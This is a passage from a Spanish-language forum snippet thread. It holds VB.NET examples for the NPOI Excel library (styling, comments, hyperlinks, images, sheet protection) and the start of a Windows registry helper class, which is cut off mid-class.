  12.    ' Next IconLayer
  13.    '
  14.    ''' <summary>
  15.    ''' Creates an icon with the specified image.
  16.    ''' </summary>
  17.    ''' <param name="imagefile">Indicates the image.</param>
  18.    ''' <param name="format">Indicates the icon format.</param>
  19.    ''' <returns>IconLib.SingleIcon.</returns>
  20.    Public Function CreateIcon(ByVal imagefile As String,
  21.                               Optional ByVal format As IconLib.IconOutputFormat =
  22.                                                        IconLib.IconOutputFormat.All) As IconLib.SingleIcon
  23.  
  24.        Dim sIcon As IconLib.SingleIcon = New IconLib.MultiIcon().Add("Icon1")
  25.        sIcon.CreateFrom(imagefile, format)
  26.  
  27.        Return sIcon
  28.  
  29.    End Function
  30.  
  31.    ' Get Icon-Layers
  32.    ' By Elektro
  33.    '
  34.    ' Usage Examples:
  35.    '
  36.    ' For Each IconLayer As IconLib.IconImage In GetIconLayers("C:\Image.ico")
  37.    '     PictureBox1.BackgroundImage = IconLayer.Icon.ToBitmap
  38.    '     Debug.WriteLine(IconLayer.Icon.Size.ToString)
  39.    '     Application.DoEvents()
  40.    '     Threading.Thread.Sleep(750)
  41.    ' Next IconLayer
  42.    '
  43.    ''' <summary>
  44.    ''' Gets all the icon layers inside an icon file.
  45.    ''' </summary>
  46.    ''' <param name="iconfile">Indicates the icon file.</param>
  47.    ''' <returns>IconLib.SingleIcon.</returns>
  48.    Public Function GetIconLayers(ByVal iconfile As String) As IconLib.SingleIcon
  49.  
  50.        Dim mIcon As IconLib.MultiIcon = New IconLib.MultiIcon()
  51.        mIcon.Load(iconfile)
  52.  
  53.        Return mIcon.First
  54.  
  55.    End Function
  56.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Agosto 2014, 20:08 pm
Por algún motivo no me puedo instalar el MS Office así que tuve que buscar alguna alternativa para poder seguir desarrollando con manejo de Excel sin interop, y di con esta magnifica librería, NPOI:

(http://download-codeplex.sec.s-msft.com/Download?ProjectName=npoi&DownloadId=155905&Build=20928)

http://npoi.codeplex.com/

Tomé los ejemplos oficiales en C# y escribí los siguientes ejemplos en VB.NET



Crear un workbook:

Código
  1. #Region " Create a WorkBook "
  2.  
  3.        ' Create the excel workbook.
  4.        Dim workbook As IWorkbook = New XSSFWorkbook()
  5.  
  6.        ' Create a sheet.
  7.        Dim sheet As ISheet = workbook.CreateSheet("Sheet A1")
  8.  
  9.        ' Create a cell.
  10.        Dim cell As ICell = sheet.CreateRow(0).CreateCell(0)
  11.  
  12.        ' Set cell value.
  13.        cell.SetCellValue("This is a test")
  14.  
  15.        ' Set the width of column A1.
  16.        sheet.SetColumnWidth(0, 50 * 256)
  17.  
  18.        ' Set the height of row A1.
  19.        sheet.CreateRow(0).Height = 200
  20.  
  21.        ' Save changes.
  22.        Using sw As IO.FileStream = IO.File.Create(".\Create a Workbook Example.xlsx")
  23.            workbook.Write(sw)
  24.        End Using
  25.  
  26. #End Region



Deinifir la cabecera y el pie de página:

Código
  1. #Region " Set Header and Footer "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim sheet As ISheet = workbook.CreateSheet("Sheet1") ' Create a sheet.
  6.  
  7.    With sheet
  8.  
  9.    ' Create a cell and add a value.
  10.        .CreateRow(0).CreateCell(1).SetCellValue("test")
  11.  
  12.    ' Set header text.
  13.        .Header.Left = HSSFHeader.Page
  14.  
  15.    ' Page is a static property of HSSFHeader and HSSFFooter.
  16.        .Header.Center = "This is a test sheet"
  17.  
  18.    ' Set footer text.
  19.        .Footer.Left = "Copyright NPOI Team"
  20.        .Footer.Right = "created by Tony Qu&#65288;&#30655;&#26480;&#65289;"
  21.  
  22.    End With
  23.  
  24.     Save changes.
  25.    Using sw As IO.FileStream = IO.File.Create(".\Header-Footer Example.xlsx")
  26.        workbook.Write(sw)
  27.    End Using
  28.  
  29. #End Region



Añadir comentarios a una celda:

Código
  1. #Region " Add Comments "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim sheet As ISheet = workbook.CreateSheet("some comments") ' Create the first sheet.
  6.  
  7.    ' Create the drawing patriarch. This is the top level container for all shapes including cell comments.
  8.    Dim patr As IDrawing = sheet.CreateDrawingPatriarch()
  9.  
  10.    ' Create a cell in row 3.
  11.    Dim cell1 As ICell = sheet.CreateRow(3).CreateCell(1)
  12.    cell1.SetCellValue(New XSSFRichTextString("Hello, World"))
  13.  
  14.    ' Create a richtext to use it in the comment.
  15.    Dim strComment As New XSSFRichTextString("This is saying you hello")
  16.  
  17.    ' Create the richtext font style.
  18.    Dim font As IFont = workbook.CreateFont()
  19.    With font
  20.        .FontName = "Arial"
  21.        .FontHeightInPoints = 10
  22.        .Boldweight = CShort(FontBoldWeight.Bold)
  23.        .Color = HSSFColor.Red.Index
  24.    End With
  25.  
  26.    ' Apply font style to the text in the comment.
  27.    strComment.ApplyFont(font)
  28.  
  29.    ' Create a comment, Anchor defines size and position of the comment in worksheet.
  30.    Dim comment1 As IComment = patr.CreateCellComment(New XSSFClientAnchor(0, 0, 0, 0, 4, 2, 6, 5))
  31.    With comment1
  32.  
  33.    ' Set comment text.
  34.        .[String] = strComment
  35.  
  36.    ' Set comment author.
  37.        .Author = "Elektro"
  38.  
  39.    ' By default comments are hidden. This one is always visible.
  40.        .Visible = True
  41.  
  42.    End With
  43.  
  44.    '* The first way to assign comment to a cell is via CellComment method:
  45.    cell1.CellComment = comment1
  46.    '* The second way to assign comment to a cell is to implicitly specify its row and column.
  47.    '* Note: It is possible to set row and column of a non-existing cell.
  48.    comment1.Row = 3
  49.    comment1.Column = 1
  50.  
  51.    ' Save changes.
  52.    Using sw As IO.FileStream = IO.File.Create(".\Comment Example.xlsx")
  53.        workbook.Write(sw)
  54.    End Using
  55.  
  56. #End Region



Definir propiedades personalizadas:

Código
  1. #Region " Set Custom Properties "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As XSSFWorkbook = New XSSFWorkbook()
  5.    Dim sheet As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
  6.  
  7.    ' Get the properties.
  8.    Dim props As POIXMLProperties = workbook.GetProperties()
  9.  
  10.    With props ' Set some default properties.
  11.        .CoreProperties.Title = "Properties Example"
  12.        .CoreProperties.Creator = "Elektro"
  13.        .CoreProperties.Created = DateTime.Now
  14.    End With
  15.  
  16.    ' Set a custom property.
  17.    If Not props.CustomProperties.Contains("My Property Name") Then
  18.        props.CustomProperties.AddProperty("My Property Name", "Hello World!")
  19.    End If
  20.  
  21.    ' Save changes.
  22.    Using sw As IO.FileStream = IO.File.Create(".\Properties Example.xlsx")
  23.        workbook.Write(sw)
  24.    End Using
  25.  
  26. #End Region



Rellenar el color de fondo de una celda:

Código
  1. #Region " Fill Cell Background "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.  
  6.    ' Create a sheet.
  7.    Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
  8.  
  9.    ' Create a cell.
  10.    Dim cell1 As ICell = sheet.CreateRow(0).CreateCell(0)
  11.  
  12.    ' Set the cell text.
  13.    cell1.SetCellValue("Hello")
  14.  
  15.    ' Set the Background Style.
  16.    Dim style As ICellStyle = workbook.CreateCellStyle()
  17.    With style
  18.        .FillForegroundColor = IndexedColors.Blue.Index
  19.        .FillPattern = FillPattern.BigSpots
  20.        .FillBackgroundColor = IndexedColors.Pink.Index
  21.    End With
  22.  
  23.    ' Fill the cell background.
  24.    cell1.CellStyle = style
  25.  
  26.    ' Save changes.
  27.    Using sw As IO.FileStream = IO.File.Create(".\Fill background Example.xlsx")
  28.        workbook.Write(sw)
  29.    End Using
  30.  
  31. #End Region



Añadir un hyperlink:

Código
  1. #Region " Add HyperLinks "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim cell As ICell = Nothing
  6.    Dim sheet As ISheet = workbook.CreateSheet("Hyperlinks") ' Create the first sheet.
  7.  
  8.    ' Set the Hyperlink style.
  9.    Dim HyperLinkStyle As ICellStyle = workbook.CreateCellStyle()
  10.    Dim HyperLinkFont As IFont = workbook.CreateFont()
  11.    HyperLinkFont.Underline = FontUnderlineType.[Single]
  12.    HyperLinkFont.Color = HSSFColor.Blue.Index
  13.    HyperLinkStyle.SetFont(HyperLinkFont)
  14.  
  15.    ' Link to an URL.
  16.    Dim LinkURL As New XSSFHyperlink(HyperlinkType.Url) With {.Address = "http://poi.apache.org/"}
  17.    cell = sheet.CreateRow(0).CreateCell(0)
  18.    With cell
  19.        .SetCellValue("URL Link")
  20.        .Hyperlink = LinkURL
  21.        .CellStyle = HyperLinkStyle
  22.    End With
  23.  
  24.    ' Link to a file.
  25.    Dim LinkFile As New XSSFHyperlink(HyperlinkType.File) With {.Address = "link1.xls"}
  26.    cell = sheet.CreateRow(1).CreateCell(0)
  27.    With cell
  28.        .SetCellValue("File Link")
  29.        .Hyperlink = LinkFile
  30.        .CellStyle = HyperLinkStyle
  31.    End With
  32.  
  33.    ' Link to an e-amil.
  34.    Dim LinkMail As New XSSFHyperlink(HyperlinkType.Email) With {.Address = "mailto:poi@apache.org?subject=Hyperlinks"}
  35.    With cell
  36.        cell = sheet.CreateRow(2).CreateCell(0)
  37.        .SetCellValue("Email Link")
  38.        .Hyperlink = LinkMail
  39.        .CellStyle = HyperLinkStyle
  40.    End With
  41.  
  42.    ' Link to a place in the workbook.
  43.    Dim LinkSheet As New XSSFHyperlink(HyperlinkType.Document) With {.Address = "'Target ISheet'!A1"}
  44.    Dim sheet2 As ISheet = workbook.CreateSheet("Target ISheet") ' Create a target sheet.
  45.    sheet2.CreateRow(0).CreateCell(0).SetCellValue("Target ICell") ' Create a target cell.
  46.    With cell
  47.        cell = sheet.CreateRow(3).CreateCell(0)
  48.        .SetCellValue("Worksheet Link")
  49.        .Hyperlink = LinkSheet
  50.        .CellStyle = HyperLinkStyle
  51.    End With
  52.  
  53.    ' Save changes.
  54.    Using sw As IO.FileStream = IO.File.Create(".\HyperLink Example.xlsx")
  55.        workbook.Write(sw)
  56.    End Using
  57.  
  58. #End Region



Establecer el estilo de fuente:

Código
  1. #Region " Set Font style "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim sheet1 As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
  6.  
  7.    ' Create a cell style.
  8.    Dim style1 As ICellStyle = workbook.CreateCellStyle()
  9.  
  10.    ' Create a font style.
  11.    Dim font1 As IFont = workbook.CreateFont()
  12.    With font1 ' underlined, italic, red color, fontsize=20
  13.        .Color = IndexedColors.Red.Index
  14.        .IsItalic = True
  15.        .Underline = FontUnderlineType.[Double]
  16.        .FontHeightInPoints = 20
  17.    End With
  18.  
  19.    ' bind font1 with style1
  20.    style1.SetFont(font1)
  21.  
  22.    ' Create a cell, add text, and apply the font.
  23.    Dim cell1 As ICell = sheet1.CreateRow(1).CreateCell(1)
  24.    With cell1
  25.        .SetCellValue("Hello World!")
  26.        .CellStyle = style1
  27.    End With
  28.  
  29.    ' Save changes.
  30.    Using sw As IO.FileStream = IO.File.Create(".\Font-Style Example.xlsx")
  31.        workbook.Write(sw)
  32.    End Using
  33.  
  34. #End Region



Establecer el tipo de fuente para texto con formato (rich text):

Código
  1. #Region " Set Font style RichText "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim sheet1 As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
  6.  
  7.    ' Create a cell with rich text.
  8.    Dim cell1 As ICell = sheet1.CreateRow(0).CreateCell(0)
  9.  
  10.    ' Create a richtext.
  11.    Dim richtext As New XSSFRichTextString("Microsoft OfficeTM")
  12.  
  13.    ' Create a font style.
  14.    Dim font1 As IFont = workbook.CreateFont()
  15.    With font1
  16.        .FontHeightInPoints = 12
  17.    End With
  18.    richtext.ApplyFont(0, 16, font1) ' apply font to "Microsoft Office".
  19.  
  20.    ' Create a font style.
  21.    Dim font2 As IFont = workbook.CreateFont()
  22.    With font2
  23.        .TypeOffset = FontSuperScript.Super
  24.        .IsItalic = True
  25.        .Color = IndexedColors.Blue.Index
  26.        .FontHeightInPoints = 8
  27.    End With
  28.    richtext.ApplyFont(16, 18, font2) ' apply font to "TM"
  29.  
  30.    ' Add the richtext into the cell.
  31.    cell1.SetCellValue(richtext)
  32.  
  33.    ' Save changes.
  34.    Using sw As IO.FileStream = IO.File.Create(".\Font-Style RichText Example.xlsx")
  35.        workbook.Write(sw)
  36.    End Using
  37.  
  38. #End Region



Añadir una tabla:

Código
  1. #Region " Add a Table "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.    Dim sheet1 As XSSFSheet = DirectCast(workbook.CreateSheet("Sheet1"), XSSFSheet) ' Create the first sheet.
  6.  
  7.    ' Create a cell with text.
  8.    sheet1.CreateRow(0).CreateCell(0).SetCellValue("This is a Sample")
  9.  
  10.    ' Create a table.
  11.    Dim x As Integer = 1
  12.    For i As Integer = 1 To 15
  13.    Dim row As IRow = sheet1.CreateRow(i)
  14.        For j As Integer = 0 To 14
  15.            row.CreateCell(j).SetCellValue(System.Math.Max(System.Threading.Interlocked.Increment(x), x - 1))
  16.        Next j
  17.    Next i
  18.    Dim table As XSSFTable = sheet1.CreateTable()
  19.    table.Name = "Tabella1"
  20.    table.DisplayName = "Tabella1"
  21.  
  22.    ' Save changes.
  23.    Using sw As IO.FileStream = IO.File.Create(".\Table Example.xlsx")
  24.        workbook.Write(sw)
  25.    End Using
  26.  
  27. #End Region



Formatear el valor de una celda:

Código
  1. #Region " Format Cell Data "
  2.  
  3.    Private Sub Test() Handles MyBase.Shown
  4.  
  5.        ' Create the excel workbook.
  6.        Dim workbook As IWorkbook = New XSSFWorkbook()
  7.  
  8.        ' Create a sheet.
  9.        Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
  10.  
  11.        ' Create the format instance.
  12.        Dim format As IDataFormat = workbook.CreateDataFormat()
  13.  
  14.        ' Increase the width of Column A.
  15.        sheet.SetColumnWidth(0, 5000)
  16.  
  17.        ' Create a row and put some cells in it. Rows are 0 based.
  18.        Dim cell1 As ICell = sheet.CreateRow(0).CreateCell(0)
  19.        Dim cell2 As ICell = sheet.CreateRow(1).CreateCell(0)
  20.        Dim cell3 As ICell = sheet.CreateRow(2).CreateCell(0)
  21.        Dim cell4 As ICell = sheet.CreateRow(3).CreateCell(0)
  22.        Dim cell5 As ICell = sheet.CreateRow(4).CreateCell(0)
  23.        Dim cell6 As ICell = sheet.CreateRow(5).CreateCell(0)
  24.        Dim cell7 As ICell = sheet.CreateRow(6).CreateCell(0)
  25.  
  26.        ' Format the cell values.
  27.  
  28.        ' [Cell1]
  29.        ' Number format with 2 digits after the decimal point. eg: "1.20"
  30.        SetValueAndFormat(workbook, cell1, 1.2, HSSFDataFormat.GetBuiltinFormat("0.00"))
  31.  
  32.        ' [Cell2]
  33.        ' RMB currency format with comma. eg: "¥20,000"
  34.        SetValueAndFormat(workbook, cell2, 20000, format.GetFormat("¥#,##0"))
  35.  
  36.        ' [Cell3]
  37.        ' Scentific number format. eg: "3.15E+00"
  38.        SetValueAndFormat(workbook, cell3, 3.151234, format.GetFormat("0.00E+00"))
  39.  
  40.        ' [Cell4]
  41.        ' Percent format, 2 digits after the decimal point. eg: "99.33%"
  42.        SetValueAndFormat(workbook, cell4, 0.99333, format.GetFormat("0.00%"))
  43.  
  44.        ' [Cell5]
  45.        ' Phone number format. eg: "021-65881234"
  46.        SetValueAndFormat(workbook, cell5, 2165881234UI, format.GetFormat("000-00000000"))
  47.  
  48.        ' [Cell6]:
  49.        ' Formula value with datetime style.
  50.        cell6.CellFormula = "DateValue(""2005-11-11"")+TIMEVALUE(""11:11:11"")"
  51.        Dim cellStyle6 As ICellStyle = workbook.CreateCellStyle()
  52.        cellStyle6.DataFormat = HSSFDataFormat.GetBuiltinFormat("m/d/yy h:mm")
  53.        cell6.CellStyle = cellStyle6
  54.  
  55.        ' [Cell7]:
  56.        ' Display current time in AM/PM format.
  57.        SetDate(workbook, cell7, DateTime.Now, format.GetFormat("[$-409]h:mm:ss AM/PM;@"))
  58.  
  59.        ' Save changes.
  60.        Using sw As IO.FileStream = IO.File.Create(".\Formula Example.xlsx")
  61.            workbook.Write(sw)
  62.        End Using
  63.  
  64.    End Sub
  65.  
  66.    Private Shared Sub SetValueAndFormat(ByVal workbook As IWorkbook,
  67.                                         ByVal cell As ICell,
  68.                                         ByVal value As Double,
  69.                                         ByVal formatId As Short)
  70.  
  71.        cell.SetCellValue(value)
  72.        Dim cellStyle As ICellStyle = workbook.CreateCellStyle()
  73.        cellStyle.DataFormat = formatId
  74.        cell.CellStyle = cellStyle
  75.  
  76.    End Sub
  77.  
  78.    Private Shared Sub SetDate(ByVal workbook As IWorkbook,
  79.                               ByVal cell As ICell,
  80.                               ByVal value As DateTime,
  81.                               ByVal formatId As Short)
  82.  
  83.        'set value for the cell
  84.        If Not value = Nothing Then
  85.            cell.SetCellValue(value)
  86.        End If
  87.  
  88.        Dim cellStyle As ICellStyle = workbook.CreateCellStyle()
  89.        cellStyle.DataFormat = formatId
  90.        cell.CellStyle = cellStyle
  91.  
  92.    End Sub
  93.  
  94. #End Region



Ocultar una fila o una columna:

Código
  1. #Region " Hide row or column "
  2.  
  3.    ' Create the excel workbook.
  4.    Dim workbook As IWorkbook = New XSSFWorkbook()
  5.  
  6.    ' Create a sheet.
  7.    Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
  8.  
  9.    ' Create some rows.
  10.    Dim r1 As IRow = sheet.CreateRow(0)
  11.    Dim r2 As IRow = sheet.CreateRow(1)
  12.    Dim r3 As IRow = sheet.CreateRow(2)
  13.    Dim r4 As IRow = sheet.CreateRow(3)
  14.    Dim r5 As IRow = sheet.CreateRow(4)
  15.  
  16.    ' Hide IRow 2.
  17.    r2.ZeroHeight = True
  18.  
  19.    ' Hide column C.
  20.    sheet.SetColumnHidden(2, True)
  21.  
  22.    ' Save changes.
  23.    Using sw As IO.FileStream = IO.File.Create(".\Hide Row or Column Example.xlsx")
  24.        workbook.Write(sw)
  25.    End Using
  26.  
  27. #End Region



Añadir una imagen:

Código
  1.        ' Create the excel workbook.
  2.        Dim workbook As IWorkbook = New XSSFWorkbook()
  3.  
  4.        ' Create a sheet.
  5.        Dim sheet As ISheet = workbook.CreateSheet("PictureSheet")
  6.  
  7.        ' Create the drawing patriarch. This is the top level container for all shapes including cell comments.
  8.        Dim patriarch As IDrawing = sheet.CreateDrawingPatriarch()
  9.  
  10.        ' Create the anchor.
  11.        Dim anchor As New XSSFClientAnchor(500, 200, 0, 0, 2, 2, 4, 7)
  12.        anchor.AnchorType = 2
  13.  
  14.        ' Load the picture and get the picture index in the workbook.
  15.        Dim imageId As Integer = LoadImage("C:\Users\Administrador\Desktop\4t0n.png", workbook)
  16.        Dim picture As XSSFPicture = DirectCast(patriarch.CreatePicture(anchor, imageId), XSSFPicture)
  17.  
  18.        ' Reset the image to the original size.
  19.        ' Note: Resize will reset client anchor you set.
  20.        'picture.Resize();  
  21.  
  22.        ' Save changes.
  23.        Using sw As IO.FileStream = IO.File.Create(".\Add Picture Example.xlsx")
  24.            workbook.Write(sw)
  25.        End Using
  26.  
  27.  
  28.    Public Shared Function LoadImage(path As String, wb As IWorkbook) As Integer
  29.        Dim file As New FileStream(path, FileMode.Open, FileAccess.Read)
  30.        Dim buffer As Byte() = New Byte(file.Length - 1) {}
  31.        file.Read(buffer, 0, CInt(file.Length))
  32.        Return wb.AddPicture(buffer, PictureType.JPEG)
  33.    End Function



Unir celdas:

Código
  1.        ' Create the excel workbook.
  2.        Dim workbook As IWorkbook = New XSSFWorkbook()
  3.  
  4.        ' Create a sheet.
  5.        Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
  6.  
  7.        ' Create a cell.
  8.        Dim cell As ICell = sheet.CreateRow(1).CreateCell(1)
  9.        cell.SetCellValue(New XSSFRichTextString("This is a test of merging"))
  10.  
  11.        ' Merge B2 cell with C2 cell.
  12.        sheet.AddMergedRegion(New CellRangeAddress(1, 1, 1, 2))
  13.  
  14.        ' Save changes.
  15.        Using sw As IO.FileStream = IO.File.Create(".\Merge Cells Example.xlsx")
  16.            workbook.Write(sw)
  17.        End Using



Proteger con contraseña:

Código
  1.        ' Create the excel workbook.
  2.        Dim workbook As IWorkbook = New XSSFWorkbook()
  3.  
  4.        ' Create a sheet.
  5.        Dim sheet As XSSFSheet = DirectCast(workbook.CreateSheet("Sheet A1"), XSSFSheet)
  6.  
  7.        With sheet ' Lock accessing excel operations.
  8.            .LockFormatRows()
  9.            .LockFormatCells()
  10.            .LockFormatColumns()
  11.            .LockDeleteColumns()
  12.            .LockDeleteRows()
  13.            .LockInsertHyperlinks()
  14.            .LockInsertColumns()
  15.            .LockInsertRows()
  16.        End With
  17.  
  18.        ' Set the password to unprotect:
  19.        Dim password As String = "Your Password"
  20.        sheet.ProtectSheet(password)
  21.  
  22.        ' Save changes.
  23.        Using sw As IO.FileStream = IO.File.Create(".\Protect Cells Example.xlsx")
  24.            workbook.Write(sw)
  25.        End Using


EDITO:


Como leer un workbook:

Código
  1.        ' The existing workbook filepath.
  2.        Dim WorkBookFile As String = "C:\MyWorkBook.xlsx"
  3.  
  4.        ' Create the excel workbook instance.
  5.        Dim workbook As IWorkbook = Nothing
  6.  
  7.        ' Load the workbook.
  8.        Using file As New IO.FileStream(WorkBookFile, IO.FileMode.Open, IO.FileAccess.Read)
  9.            workbook = New XSSFWorkbook(file)
  10.        End Using
  11.  
  12.        ' Get the first sheet.
  13.        Dim sheet As ISheet = workbook.GetSheetAt(0)
  14.  
  15.        ' Get the first row.
  16.        Dim row As IRow = sheet.GetRow(0)
  17.  
  18.        ' Create a cell.
  19.        Dim cell As ICell = row.CreateCell(1)
  20.  
  21.        ' Get the cell value.
  22.        If String.IsNullOrEmpty(cell.StringCellValue) Then ' If value is emty then...
  23.  
  24.            ' Set cell value.
  25.            cell.SetCellValue("This is a test")
  26.  
  27.        End If
  28.  
  29.        ' Save changes.
  30.        Using sw As IO.FileStream = IO.File.Create(WorkBookFile)
  31.            workbook.Write(sw)
  32.        End Using


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Agosto 2014, 19:45 pm
Una versión actualizada de mi Reg-Editor

Contiene todo tipo de métodos para el manejo del registro de Windows.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-30-2014
  4. ' ***********************************************************************
  5. ' <copyright file="Class1.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ' -----------
  13. ' Create Key:
  14. ' -----------
  15. ' RegEdit.CreateKey("HKCU\Software\MyProgram")                        ' Creates "HKCU\Software\MyProgram"
  16. ' RegEdit.CreateKey("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
  17. '
  18. ' -----------
  19. ' Delete Key:
  20. ' -----------
  21. ' RegEdit.DeleteKey("HKLM\Software\7-zip")                ' Deletes the "7-zip" tree including subkeys
  22. ' RegEdit.DeleteKey("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
  23. '
  24. ' -------------
  25. ' Delete Value:
  26. ' -------------
  27. ' RegEdit.DeleteValue("HKCU\Software\7-Zip", "Lang")               ' Deletes "Lang" Value
  28. ' RegEdit.DeleteValue("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
  29. '
  30. ' ----------
  31. ' Get Value:
  32. ' ----------
  33. ' Dim Data As String = RegEdit.GetValue("HKCU\Software\MyProgram", "Value name"))
  34. ' Dim Data As String = RegEdit.GetValue("HKEY_CURRENT_USER\Software\MyProgram", "Value name"))
  35. '
  36. ' ----------
  37. ' Set Value:
  38. ' ----------
  39. ' RegEdit.SetValue("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String)               ' Create/Replace "Value Name" with "Data" as string data
  40. ' RegEdit.SetValue("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
  41. '
  42. ' -----------
  43. ' Export Key:
  44. ' -----------
  45. ' RegEdit.ExportKey("HKLM", "C:\HKLM.reg")                  ' Export entire "HKEY_LOCAL_MACHINE" Tree to "C:\HKLM.reg" file.
  46. ' RegEdit.ExportKey("HKLM\Software\7-zip\", "C:\7-zip.reg") ' Export entire "7-zip" Tree to "C:\7-zip.reg" file.
  47. '
  48. ' ------------
  49. ' Import File:
  50. ' ------------
  51. ' RegEdit.ImportRegFile("C:\Registry_File.reg") ' Install a registry file.
  52. '
  53. ' ------------
  54. ' Jump To Key:
  55. ' ------------
  56. ' RegEdit.JumpToKey("HKLM")                               ' Opens Regedit at "HKEY_LOCAL_MACHINE" Root.
  57. ' RegEdit.JumpToKey("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Opens Regedit at "HKEY_LOCAL_MACHINE\Software\7-zip" tree.
  58. '
  59. ' -----------
  60. ' Exist Key?:
  61. ' -----------
  62. ' MsgBox(RegEdit.ExistKey("HKCU\software") ' Checks if "Software" Key exist.
  63.  
  64. ' -------------
  65. ' Exist Value?:
  66. ' -------------
  67. ' MsgBox(RegEdit.ExistValue("HKLM\software\7-zip", "Path") ' Checks if "Path" value exist.
  68. '
  69. ' ------------
  70. ' Exist Data?:
  71. ' ------------
  72. ' MsgBox(RegEdit.ExistData("HKLM\software\7-zip", "Path") ' Checks if "Path" value have empty data.
  73. '
  74. ' ---------
  75. ' Copy Key:
  76. ' ---------
  77. ' RegEdit.CopyKey("HKCU\Software\7-Zip", "HKCU\Software\7-zip Backup") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-zip Backup"
  78. '
  79. ' -----------
  80. ' Copy Value:
  81. ' -----------
  82. ' RegEdit.CopyValue("HKLM\software\7-zip", "path", "HKLM\software\7-zip", "path_backup") ' Copies "Path" value with their data to "HKLM\software\7-zip" "path_backup".
  83. '
  84. ' -------------------
  85. ' SetUserAccessKey:
  86. ' -------------------
  87. ' RegEdit.SetUserAccessKey("HKCU\Software\7-Zip", {RegEdit.ReginiUserAccess.Administrators_Full_Access})
  88. ' RegEdit.SetUserAccessKey("HKEY_CURRENT_USER\Software\7-Zip", {RegEdit.ReginiUserAccess.Administrators_Full_Access, RegEdit.ReginiUserAccess.Creator_Full_Access, RegEdit.ReginiUserAccess.System_Full_Access})
  89.  
  90. #End Region
  91.  
  92. #Region " Imports "
  93.  
  94. Imports Microsoft.Win32
  95. Imports System.IO
  96. Imports System.Text
  97.  
  98. #End Region
  99.  
  100. #Region " RegEdit "
  101.  
  102. ''' <summary>
  103. ''' Contains registry related methods.
  104. ''' </summary>
  105. Public Class RegEdit
  106.  
  107. #Region " Enumerations "
  108.  
  109.    ''' <summary>
  110.    ''' Specifies an User identifier for Regini.exe command.
  111.    ''' </summary>
  112.    Public Enum ReginiUserAccess As Integer
  113.  
  114.        Administrators_Full_Access = 1I
  115.  
  116.        Administrators_Read_Access = 2I
  117.  
  118.        Administrators_Read_and_Write_Access = 3I
  119.  
  120.        Administrators_Read_Write_and_Delete_Access = 4I
  121.  
  122.        Administrators_Read_Write_and_Execute_Access = 20I
  123.  
  124.        Creator_Full_Access = 5I
  125.  
  126.        Creator_Read_and_Write_Access = 6I
  127.  
  128.        Interactive_User_Full_Access = 21I
  129.  
  130.        Interactive_User_Read_and_Write_Access = 22I
  131.  
  132.        Interactive_User_Read_Write_and_Delete_Access = 23I
  133.  
  134.        Power_Users_Full_Access = 11I
  135.  
  136.        Power_Users_Read_and_Write_Access = 12I
  137.  
  138.        Power_Users_Read_Write_and_Delete_Access = 13I
  139.  
  140.        System_Full_Access = 17I
  141.  
  142.        System_Operators_Full_Access = 14I
  143.  
  144.        System_Operators_Read_and_Write_Access = 15I
  145.  
  146.        System_Operators_Read_Write_and_Delete_Access = 16I
  147.  
  148.        System_Read_Access = 19I
  149.  
  150.        System_Read_and_Write_Access = 18I
  151.  
  152.        World_Full_Access = 7I
  153.  
  154.        World_Read_Access = 8I
  155.  
  156.        World_Read_and_Write_Access = 9I
  157.  
  158.        World_Read_Write_and_Delete_Access = 10I
  159.  
  160.    End Enum
  161.  
  162. #End Region
  163.  
  164. #Region " Public Methods "
  165.  
  166. #Region " Create "
  167.  
  168.    ''' <summary>
  169.    ''' Creates a new registry key.
  170.    ''' </summary>
  171.    ''' <param name="Key">Indicates the registry key.</param>
  172.    Public Shared Sub CreateKey(ByVal Key As String)
  173.  
  174.        Using Reg As RegistryKey = GetRoot(Key)
  175.  
  176.            Reg.CreateSubKey(GetPath(Key), RegistryKeyPermissionCheck.Default, RegistryOptions.None)
  177.  
  178.        End Using
  179.  
  180.    End Sub
  181.  
  182. #End Region
  183.  
  184. #Region " Delete "
  185.  
  186.    ''' <summary>
  187.    ''' Deletes a registry key.
  188.    ''' </summary>
  189.    ''' <param name="Key">Indicates the registry key.</param>
  190.    Public Shared Sub DeleteKey(ByVal Key As String)
  191.  
  192.        Using Reg As RegistryKey = GetRoot(Key)
  193.  
  194.            Reg.DeleteSubKeyTree(GetPath(Key), throwOnMissingSubKey:=False)
  195.  
  196.        End Using
  197.  
  198.    End Sub
  199.  
  200.    ''' <summary>
  201.    ''' Delete a registry value.
  202.    ''' </summary>
